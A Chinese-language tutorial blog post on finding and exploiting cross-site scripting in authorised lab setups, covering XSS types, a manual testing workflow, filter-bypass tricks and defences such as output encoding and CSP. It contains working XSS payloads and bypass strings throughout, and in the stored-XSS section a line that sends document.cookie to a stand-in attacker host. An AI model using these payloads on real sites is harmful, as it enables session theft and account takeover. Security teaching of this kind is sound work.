☰
XSS跨站脚本漏洞实战:原理、测试流程与绕过技巧全解析
2026/10/21 15:18:43 网站建设 项目流程

把Web漏洞挖掘实战系列更到第三期,这期把XSS跨站脚本漏洞单独拿出来讲。后台经常有人问:SQL注入和XSS哪个难?我的回答一直是XSS,因为它的成形不仅取决于服务端,还取决于浏览器解析、前端框架、页面上下文,甚至同一个payload换个位置就不生效。这篇文章打算把XSS的原理、三种类型的完整测试路径、以及我在授权靶场环境里摸索出的绕过技巧一次性讲透。适合对Web安全已有基本概念、能看懂HTML和JavaScript基础语法的读者;如果你已经有一段时间的测试经验,可以直接跳到第5章看绕过部分的实战细节。整个系列我都坚持只讲授权范围内的测试流程,这篇也不例外,所有案例都在本地靶场环境完成。

1. 项目背景与实战思路拆解

1.1 为什么本期要专门啃XSS这块硬骨头

前两期分享我分别做了信息收集和SQL注入测试思路。很多人以为XSS是最容易应付的一个漏洞类型,测试方法也无非是找个输入框、塞一堆payload、弹个alert完事。但真实做授权测试的时候会发现完全不是这么回事:很多漏洞被过滤规则挡在门外,很多payload在开发者工具里看是成功了,换一个浏览器又不执行,还有一些应用把payload输出成JSON,前端再经过模板渲染,中间多了一道工序就多出一层级风险。

XSS难在哪?首先,它不是一个纯粹的功能漏洞,而是数据信任边界被突破,攻击代码以普通输入的身份混入页面代码里执行。其次,它的危害非常隐蔽,一个存储型XSS可能影响所有访问该页面的用户,而管理员可能只是正常打开后台、页面悄悄执行了一段脚本。我在某次授权测试里遇到过类似情况:某个留言板昵称字段存在存储型XSS,当我以管理员身份打开留言列表时,页面在没有任何界面异常的情况下模拟发起了后台操作请求,这种危害用普通功能测试几乎是发现不了的。

所以第三期我希望把这些经验整理成一套可复用的测试路径和绕过思路,从原理讲到实际操作,最后落到防御修复,这样读者以后遇到类似业务场景,至少知道第一步该看哪里、第二步该试什么。

1.2 环境准备与合规边界

开始动手之前先说明合规问题。所有实战案例都搭建在本地靶场环境或明确授权的模拟项目中,我不会去未授权的站点做任何探测或验证。这也是整个系列的底线:安全测试的前提永远是授权,在本地环境里把思路跑通,比在真实站点上冒险有价值得多。

环境方面我准备了这样一套组合:

  • 模拟项目X,一个开源的论坛系统,跑在Docker里,用来演示反射型和存储型XSS
  • 某跨平台系统,一个单页前端应用,专门用来演示DOM型XSS
  • 浏览器用Chrome,开发者工具是判断漏洞是否被触发的核心工具
  • 抓包用Burp Suite,用来观察请求响应中的编码变化和重放修改
  • 一个按上下文分类的自建payload字典

这套组合最大的好处是可控、可复现、随时能还原。Docker靶场坏了就重建,Burp Suite负责看请求层面的变化,浏览器开发者工具负责确认最终DOM里的执行情况。整套环境几分钟就能搭好,后续所有章节的内容都在这套环境里完成。

2. XSS原理剖析:从根因到三种类型

2.1 漏洞根因:数据被当成了代码执行

XSS全称跨站脚本(Cross-Site Scripting),本质上是一种注入漏洞。它注入的是HTML、CSS、JavaScript这些会被浏览器解析执行的内容。当一份原本应该被当作普通文本展示的数据,因为缺少转义或过滤,被直接拼接到页面HTML里,浏览器就会把数据中的一部分解析成代码执行,这就是XSS形成的根本原因。

生活类比一下:就好比你收到一封邮件,信封上写着"内容",但拆开以后你不仅读了内容,还执行了里面附带的可执行程序。浏览器本身没有判断"这段文字是数据还是脚本"的能力,HTML解析器在遇到<时就开始按标签规则处理。所以只要数据里出现HTML结构标签,而开发者在输出时没有做编码,就可能被解释执行。

数据流路径一般是这样:用户输入数据 → 程序接收处理 → 将数据拼接进响应(HTML/JS/CSS) → 浏览器解析执行。在这个链条里,任何一个环节缺少了输出编码,就可能形成漏洞。值得注意:很多人只关注输入过滤,但真正的关键在于输出位置的上下文。同一个输入,输出在div文本、输出在input属性、输出在script脚本里,风险程度和绕过方式完全不同。

所以XSS不仅仅能弹窗,它还可以读取Cookie、以当前用户身份发起请求、修改页面内容、监控键盘输入等。这些危害都基于一个事实:脚本在目标用户浏览器里以该用户身份运行,完全跨过了应用原本的业务限制。

2.2 反射型、存储型、DOM型到底差在哪

三种类型的核心区分点是payload的存储位置和触发路径。

反射型XSS:payload一次性包含在URL参数里,服务端拿到参数后拼接到响应中返回。它不会持久化,必须诱导受害者点击构造好的URL才会触发。常见触发点是搜索框、跳转地址、报错信息回显。

存储型XSS:payload先通过表单提交被保存到服务端数据库或文件里,之后任何访问对应页面的用户,都会从服务端取出并重新渲染这段数据。典型触发点是留言板、昵称、个人签名、富文本内容。它的触发不需要受害者点击特定链接,危害最大、被利用周期最长。

DOM型XSS:特殊之处在于payload不经过服务端响应,而是前端JavaScript直接读取URL查询参数、location.hash或本地存储,然后用innerHTML、document.write等方式写入DOM执行。服务端日志里看不到恶意代码,传统WAF也难检测,排查时最容易忽略。

类型payload存储位置是否经过服务端触发条件典型场景危害等级
反射型URL参数是用户点击恶意链接搜索框、跳转参数中
存储型数据库/文件是访问被持久化页面留言板、昵称、签名高
DOM型前端代码/URL否前端路由解析单页应用、hash参数中高

测试时先确定类型可以节省大量时间。比如弹窗明明是点击链接后出现的,不一定是反射型,DOM型也会这样。判断方法很简单:打开浏览器开发者工具看响应报文里是否出现payload,如果响应里没有、但页面确实执行了,多半是DOM型。

2.3 为什么看了很多原理还是挖不到洞

原理背得熟不代表能发现漏洞。症结通常在于没有建立"上下文"意识。

浏览器的解析不是一句话能说清的,HTML、属性、JavaScript、URL、CSS分别有自己的解析器。一份payload在不同上下文里的存活条件完全不同。举个例子,<script>alert(1)</script>放到div文本节点中间,理论上可以触发;但如果你的输出位置是在一个input的value属性里,浏览器会先解析HTML属性,在没有闭合引号的情况下,<script>只是属性值的一部分,根本不会创建标签。这时候你需要先闭合引号和标签,比如"><svg onload=alert(1)>。

又比如在script标签内部直接输出变量值时,<script>标签根本不会执行,因为此时已经处于JS上下文,需要先闭合字符串和语句,再注入JS代码。很多人在这个环节卡住,是因为不熟悉HTML解析和JS解析的先后顺序。

过滤规则也干扰判断。很多系统的WAF或框架自带过滤,把尖括号替换成实体,把on开头的事件属性过滤掉,如果不先观察"输入到响应之间经历了什么变化",盲目替换payload是没有意义的。

顺着这个逻辑,这期我在实战部分特别强调"确定输出位置"这一步,因为它是整个测试链条里最容易被跳过的核心环节。知道了数据最终落在哪个解析器里,构造payload才有方向。

3. 挖掘工具与手工测试流程

3.1 轻量工具组合:浏览器DevTools + Burp Suite

工具不在多,关键是每个工具要干对事。我的XSS测试黄金组合是三件套。

浏览器开发者工具负责最关键的判断工作。Elements面板看最终渲染后的DOM结构,能帮你确认输入变成什么样;Console面板可以直接执行JS,验证payload是否真的执行;Network面板查看请求和响应报文,看服务端对输入做了什么处理。

Burp Suite负责请求层面观察和修改。Repeater可以反复改参数并跳过前端校验,Proxy可以查看完整请求。XSS绕过的很多尝试,完全可以在Repeater里快速循环:换编码、换闭合方式、看响应差异,比在浏览器里一次次刷新高效得多。

还有一个经常被忽略的工具是自建payload字典。网上现成的XSS payload列表很多,但通用字典命中率不高。我习惯按上下文分类整理,比如HTML文本上下文、属性上下文、JS上下文、URL上下文各放一组基础payload,测试时先按上下文挑一组,再根据过滤规则衍生。这样比盲目跑几万条字典要精准很多。

3.2 五步手工挖掘流程

无论目标多复杂,我一般把XSS测试收敛成五个步骤。

第一步,收集输入点。这个过程往往比想象中费时间,需要从前端页面、抓包记录、接口文档几个维度去梳理。别只盯着文本框,URL参数、请求头、Cookie、JSON字段都有可能成为输入点。我的习惯是先在Network面板里把所有请求过一遍,把每个参数标出来。

第二步,判定输出位置。提交一个唯一标记(比如xyztest123)到各个参数,然后在响应或DOM中搜索这个标记。这一步解决两个问题:输入有没有原样输出、输出在什么标签什么位置。搜索标记比肉眼找快很多,因为浏览器渲染后的DOM经常和源码结构不一样。

第三步,判断上下文。标记落在div文本里、input的value属性里、textarea里、script字符串里、还是URL的href属性里,决定了接下来构造思路。这一步要结合开发者工具看最终DOM,光看服务端响应有时候会误判。

第四步,构造闭合与payload。所谓闭合,就是把你前面的引号、标签补齐,让注入内容脱离原本的数据位置。比如属性上下文里先加"闭合value,再加>闭合input标签,然后注入新标签;如果过滤了尖括号,那就只能在属性上下文内部想办法,先闭合引号后在同一标签上追加新的事件属性。

第五步,验证与危害评估。payload执行成功后,要在授权范围内验证实际危害程度:读取cookie(确认HttpOnly是否设置)、以当前用户身份模拟请求、观察是否影响其他用户。验证完毕后清理测试数据,避免污染靶场环境。

这五步里,最容易被跳过的是第二步。很多测试者直接提交payload试弹窗,弹不成就换一个,一直试不中就放弃了。其实问题往往出在根本没有确认数据输出到哪个位置,自然也不清楚payload该怎么构造。先标记、再定位,是用最小成本拿到最大信息量的做法。

4. 实战复现:三个模拟环境下完整的测试过程

4.1 某搜索功能的反射型XSS

模拟项目X是一个带搜索功能的传统论坛,搜索关键词会原样显示在结果页的h1标题里。这就是一个教科书式的反射型输出点。

测试第一步,我在搜索框里输入xyztest123并提交,页面跳到/search?keyword=xyztest123,h1标题显示"搜索关键词:xyztest123"。用开发者工具查看该元素,标记确实落在h1标签内部,属于HTML文本上下文。

接下来尝试经典payload,我提交:

<script>alert(1)</script>

结果没有弹窗。这里有个常见误区:现代浏览器对于通过innerHTML或某些动态方式插入的script标签,默认不执行。但这个场景里payload是服务端直接渲染在HTML源码里的,应该可以执行。为什么没弹?看一下响应,发现尖括号被转义成了&lt;script&gt;,说明应用做了HTML实体编码。

既然尖括号被编码,先想能否用属性上下文绕过。但当前输出在h1文本内部,没有属性可闭合。我换一种思路,用img标签的onerror事件:

<img src=x onerror=alert(1)>

提交后依然被编码,因为编码发生在文本输出层面,任何HTML标签都会被转义。这个场景下,如果过滤是输出编码而不是黑名单,直接在文本上下文注入HTML是难以实现的。但我注意到标题旁边还有另一处回显:在页面的<title>标签里也显示了同样的keyword,而且title区域内尖括号没有被编码。

这就是上下文差异带来的突破口。title标签内部本身就是HTML文本,但它的内容会进入浏览器标题解析上下文。我构造:

</title><img src=x onerror=alert(1)>

先闭合title标签,再插入一个新的img标签。提交后浏览器解析为title结束后出现img,onerror触发后弹窗成功。

这个案例想说明的是:遇到输出编码时不要立刻放弃,换一个输出位置看是不是同样的编码策略。很多应用的过滤覆盖面并不均匀,不同字段可能走了完全不同的编码规则。找到没有正确编码的那个输出点,就是漏洞入口。

4.2 某留言板的存储型XSS

模拟项目X的留言板,用户提交昵称和留言内容,管理员在后台能查看全部留言。这个场景测试存储型XSS非常典型。

我先用普通昵称testuser提交一条留言,管理员后台页面正常显示。然后在昵称字段提交payload:

<img src=x onerror=fetch('/api/update?status=1')>

这里用fetch模拟窃取或操作请求,比单纯alert更能证明危害。提交后回到管理员留言列表页面,页面加载时立即出现报错请求——说明payload已经存储并在管理员浏览器中执行了。

这个案例的演示价值在于:存储型XSS的触发不需要受害者点击任何链接,只要访问到被污染的页面就会执行。在真实业务中,如果这个后台拥有管理权限,前端脚本就能以管理员身份调用各种管理接口。我在授权环境下通常会继续验证Cookie是否可读取:

fetch('https://attacker.example/collect?cookie='+document.cookie)

如果响应头里没设置HttpOnly,这段脚本就能拿到会话标识。存储型之所以危害高,就是因为它能持续影响所有访问者,难以清理,而且每次访问都触发,基本等同于在用户浏览器里留了一个后门。

操作上要记录完整证据链:提交payload的请求、存储后的服务端返回、管理员访问页面时的触发请求,这几项缺一不可。测试完成后还要记得删除或还原留言数据,防止靶场环境被污染。

4.3 某前端应用的DOM型XSS

第三个案例放在某跨平台系统的一个单页前端页面上。这个页面通过路由参数控制横幅文字,前端代码大概是:

var banner = decodeURIComponent(location.hash.split('#')[1]); document.getElementById('banner').innerHTML = banner;

它直接读取URL的hash部分,再用innerHTML写入页面。这里没有任何服务端参与,抓包也看不到恶意代码出现在响应里。

我用浏览器直接构造URL:

https://test.local/#<img src=x onerror=alert(document.domain)>

刷新页面后,横幅区域出现了img标签,onerror触发,弹出了当前域名。为了确认这不是反射型,我打开Network面板查看请求响应,服务端返回的是纯静态HTML,根本不包含任何用户提交内容。恶意代码从头到尾只存在于浏览器端的URL hash和前端脚本执行过程中。

DOM型XSS排查时有个小技巧:在开发者工具的Sources面板里全局搜索innerHTML、document.write、eval、insertAdjacentHTML这些危险API,逐个看有没有用户可控数据直接流入。很多前端团队在写业务代码时不会刻意规避这些写法,尤其是老项目,几乎一搜一个准。

这类漏洞在报告里经常被低估,实际上它和反射型一样能窃取数据、篡改页面,只不过攻击面完全在前端,传统服务端WAF很难拦截。测试时要注意:因为payload不经过服务端,验证时要自己构造完整URL,而不是简单提交表单。

能区分反射型和DOM型的场景,是报告里显得专业的重要分界线。

5. XSS过滤绕过技巧实战详解

5.1 先摸清过滤规则:黑名单与白名单

绕过技巧的前提是先搞清楚目标用了什么过滤策略。我见过的大多数过滤都属于黑名单:拦截script、alert、onerror、javascript:这类高危关键词。黑名单的问题在于规则永远不可能覆盖所有组合,总有机会绕。

摸底的方法很直接:找一个不受业务逻辑影响、响应中能看到原始输入的位置,逐个输入关键字观察变化。比如输入<script>,看响应里是原样保留、被整体删除、还是被替换成&lt;script&gt;。三种结果对应三种不同的绕过空间:原样保留说明过滤点不在这一层;整体删除可能可以用嵌套或拆分绕过;转义成实体则需要找其它输出上下文。

还有一种情况是白名单:只允许<a>、<img>、<strong>这些安全标签,其余全部过滤。白名单比黑名单安全得多,但如果有属性层级的白名单,比如只允许a标签的href属性,仍然可能通过javascript:协议或编码后的协议绕过。

无论是黑名单还是白名单,摸底这一步都不要跳过。直接在测试机上试几分钟,搞清楚规则长什么样,后面构造payload才能有的放矢。

5.2 编码绕过:HTML实体、URL、Unicode怎么用

编码绕过本质上是利用浏览器对不同位置的解码顺序。同一个payload放在HTML属性上下文里,浏览器会先做HTML实体解码,再交给属性解析;放在URL上下文里,则会先做URL解码;放在JS上下文里,还会做Unicode转义。如果过滤器只识别原始字符,而浏览器会解码,编码就成了绕过通道。

具体来说,如果过滤了onerror字符串,但输出点在一个HTML属性内部,我可以这样构造:

<svg onload=alert(1)> <!-- 常规 --> <svg &#111;nload=alert(1)> <!-- HTML实体编码on的首字母 -->

浏览器在解析属性名时会先对HTML实体解码,&#111;变成字母o,于是onload被还原。前提是属性值本身允许实体编码,且过滤只匹配原始字符串。

在JS上下文里,可以用Unicode转义:

eval("\x61lert(1)") // \x61 对应字母 a

如果脚本内容拼接到<script>标签内部,过滤了alert关键字但没过滤\x61lert,浏览器JS引擎会先解析转义,最终执行alert。

编码绕过的关键点有三个:确认输入点所在上下文;确认哪个解析器会对输入先解码;确认过滤器在哪一层起作用。三者都掌握了,编码绕过实际上就是排列组合游戏。

5.3 关键字拆分的进阶玩法

如果过滤器连onerror、alert这些高频词也识别了,编码也不生效,可以试试关键字拆分。核心思想是:在JS执行上下文中,把函数名拆成多个字符串片段,运行时再拼接起来。

最常见的玩法是用eval和atob组合:

<svg/onload=eval(atob('YWxlcnQoMSk='))>

YWxlcnQoMSk=是alert(1)的base64编码。过滤器只拦截alert(1),但eval(atob(...))完全不含这个字符串,等浏览器真正执行时,base64解码后才还原成alert(1),瞬间执行。

也可以利用JS对象属性名支持方括号字符串访问的特性:

window['al'+'ert'](1)

过滤器如果只拦截连续完整的alert,这种拼接写法就直接绕过了。再配合模板字符串、数组join等方式,变化非常丰富。

需要清醒一点:关键字拆分只适用于JS上下文。如果你的输入是被包裹在HTML属性里的字符串,最终没有进入JS解析器,这些技巧就用不上了。所以先判断上下文,再选择绕过方式,这条铁律在绕过阶段比在漏洞挖掘阶段更重要。

5.4 标签与事件属性的组合选择

很多人默认XSS payload一定是<script>,实际情况恰恰相反。script标签在现代浏览器中受限较多,比如通过innerHTML注入的script不会执行,有些页面还设置了CSP禁止内联脚本。这时候就需要换标签、换事件。

我的常用标签池大概是这几类:<img>配合onerror、<svg>配合onload、<details>配合ontoggle、<select>配合onfocus、<math>配合onclick。其中<svg onload>在大多数场景下非常稳定,因为SVG标签对属性顺序不敏感,而且onload在各种进入SVG渲染时都会被触发。<details ontoggle>的优势在于不需要用户交互即可触发,只要元素被打开就会调用。

<details open ontoggle=alert(1)>

事件属性选择上,onerror需要对应资源加载失败,onload需要资源加载成功,onmouseover需要用户移动鼠标。测试时优先选不需要用户交互的onerror、onload、ontoggle,因为它们稳定性最高;onclick、onfocus适合在特定交互场景里用。

还有一个经验:在一个属性值内部注入时,不要急着闭合外层标签,可以先尝试把它变成一个新的属性。比如input的value属性:

<input value="x" onmouseover="alert(1)">

闭合了value的双引号,然后添加onmouseover属性,不需要闭合外层标签也可以。这类"半闭合"思路在属性上下文里经常比完整注入新标签更低调、更不容易被过滤。

5.5 关于内容消毒与正则过滤的绕过

内容消毒一般指后端用白名单方式过滤HTML,只保留特定的标签和属性。这类防护看起来最稳,但白名单本身也可能存在漏洞。

我之前遇到一个场景:系统只允许<a>标签的href属性,其它标签和属性全部过滤。那么第一反应是试javascript:协议:

<a href="javascript:alert(1)">

结果被拦截。继续试,发现对href属性值做了URL编码输出,javascript:变成了javascript%3A。表面看已经失效,但如果属性值里塞的是HTML实体编码字符,浏览器在解析href时会不会再解码一次?实测后发现该实现确实会先做HTML实体解码再交给URL处理,于是我构造:

<a href="&#106;avascript:alert(1)">

&#106;是字母j的HTML实体,解码后还原成javascript:协议,点击链接后弹窗成功。这说明只要白名单某个属性值会被重新解析,就有机会利用浏览器解码的时机绕过。

正则过滤的绕过思路其实也类似,关键是找到表达式覆盖不到的边界。常见的延伸方向包括大小写变体,比如<ScRiPt>能绕过只匹配小写的正则;有些正则没考虑HTML标签允许包含额外空白字符,<script x>就能绕过只匹配script后跟空格/>的正则;更进一步的,在关键字中间插入换行或制表符,某些实现因为正则没有匹配\s就会放行,而浏览器解析时又把这些空白当作普通字符忽略。每一条绕过路径听起来都像小聪明,但组合起来就是真实的突破口。无论用哪种变体,最终验证都要回到授权环境里做一遍,确认在目标应用确实能触发,才能写进报告。

这些绕过技巧的共性是:不要和过滤器硬刚,先研究浏览器解析规则的执行顺序,再找过滤器盲区。每一条绕过路径,最终都要在授权环境里反复验证后才能写入报告。

6. 漏洞修复与防御实践

6.1 输入过滤:做还是不做

输入过滤是很多人最先想到的防御手段,但它的作用往往是辅助性的。原因很简单:合法业务输入里经常包含特殊字符,比如昵称可以叫<script>爱好者,如果一刀切过滤尖括号,业务可用性就崩了。把输入过滤当作唯一防线,不仅容易被绕过,还会误伤正常用户。

合理做法是输入校验按业务需求来:手机号就只允许数字和长度范围,邮箱就做格式校验,昵称和留言控制在合理长度。真正的XSS防线应该在输出编码上做,而不是苛求输入绝对干净。

6.2 输出编码与上下文匹配

输出编码是XSS防御的核心原则:按数据最终输出到哪个上下文,选择对应的编码函数。

  • HTML文本上下文:将<、>、&、"、'等转义为HTML实体
  • HTML属性上下文:属性值要用属性专用编码,避免意外闭合
  • JavaScript上下文:使用JS字符串转义,处理"、'、\、换行等
  • URL上下文:使用URL编码,并对协议做白名单校验
  • CSS上下文:使用CSS转义,避免注入表达式

应用开发时尽量使用成熟框架的编码库,而不是手写正则。很多框架本身自动开启输出转义,比如某些模板引擎默认转义{{ }}输出。在我复盘过的不少安全漏洞里,真正让漏洞消失的往往不是增加过滤接口,而是把渲染方式从拼接改为框架自带的转义输出。比如之前实验系统用innerHTML注入横幅内容,改成textContent之后,payload直接变成纯文本显示,注入彻底失效。这个改动在高频场景里成本极低,收益却极高,是所有开发团队都应该优先落实的修补方式。

6.3 CSP与HttpOnly的配合

纵深防御的重要手段是CSP(内容安全策略)。一个基础的CSP可以限制脚本只能从白名单域名加载:

Content-Security-Policy: default-src 'self'; script-src 'self'

这样即使代码注入成功,内联脚本也会被浏览器拦截,payload执行就无从谈起。当然CSP配置需要结合业务实际情况,比如某些页面要加载第三方统计脚本,就得在script-src里精确放行对应的外部域名,不能一刀切。

HttpOnly属性则是针对Cookie劫持的。给敏感Cookie加上HttpOnly后,document.cookie就读不到它。但要注意,HttpOnly只保护Cookie,并不能阻止XSS本身,攻击者还是能通过脚本模拟操作或修改页面。CSP加HttpOnly加输出编码,是相对完整的防御组合,少任何一块都可能在某个环节被打穿。

7. 常见问题与排查技巧实录

7.1 高频问题速查表

实际测试中大家最常碰见的问题,我整理成一个速查表,方便直接对照排查。

问题现象可能原因排查方向
payload完全没反应上下文判断错误用唯一标记定位输出位置,确认落在什么标签/属性
响应里尖括号变成实体服务端做了HTML输出编码换输出位置,或找属性/JS/URL上下文
输入被静默删除黑名单过滤用编码、拆分、大小写、换行绕过
script标签不执行浏览器或CSP限制换img/svg/details加事件属性
引号被转义过滤规则匹配了引号先观察转义结果,用无引号payload或编码
点击链接不弹窗DOM型XSS但服务端响应里无payload检查前端JS和location.hash
事件属性没触发属性位置不对检查输入是否在HTML属性和JS上下文之间

7.2 几个让我印象深刻的排查经历

写几个踩坑记录,都是实际测试中容易被绕进去的地方。

第一次遇到引号被转义时,我的第一反应是找别的参数,后来才发现问题是测试参数被拼接到了textarea标签内部。textarea里的内容在HTML解析层面是普通文本,但它用的是特殊解析规则,引号和尖括号原本就不容易闭合。我后来换成了让数据落在div文本上下文的方式,问题迎刃而解。

第二次印象深的是一套前端框架应用,输入点很多但响应里始终找不到payload。我排查了很久,发现数据是通过API返回JSON,前端再用模板字符串拼接到<script>标签内的变量里。也就是说,真正需要关注的是前端怎么看这个数据,而不是服务端怎么回显。从那以后,我测试这类应用时会更早打开Sources面板,而不是只盯服务端响应。

还有一个很绕的案例,存储型XSS明明写入成功了,但管理员页面却怎么都不弹窗。后来发现管理员页把内容字段做了一次安全过滤,把<替换成了&lt;。但用户在前台页面的前端脚本里用了innerHTML重新解析,等于过滤规则在前台被绕过了。这提醒我,存储型测试要多测几个入口,管理员后台和用户前台很可能是两套完全不同的渲染逻辑。

这些经历的共性是:没有一种payload放之四海而皆准,最快的路径永远是先定位上下文、再观察过滤变化、最后针对性构造。把这些能力练好,XSS测试就从碰运气变成了方法论。

以上就是第三期的全部内容。最后再补充一点个人体会:做XSS测试,重要的不是记忆多少payload,而是理解浏览器怎么解析、数据怎么流动、过滤器在哪个环节起作用。把这几个底层逻辑打通,遇到再奇怪的过滤规则也能找到思路。所有实操请在授权靶场环境下进行,这是安全测试者最基本的职业素养。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询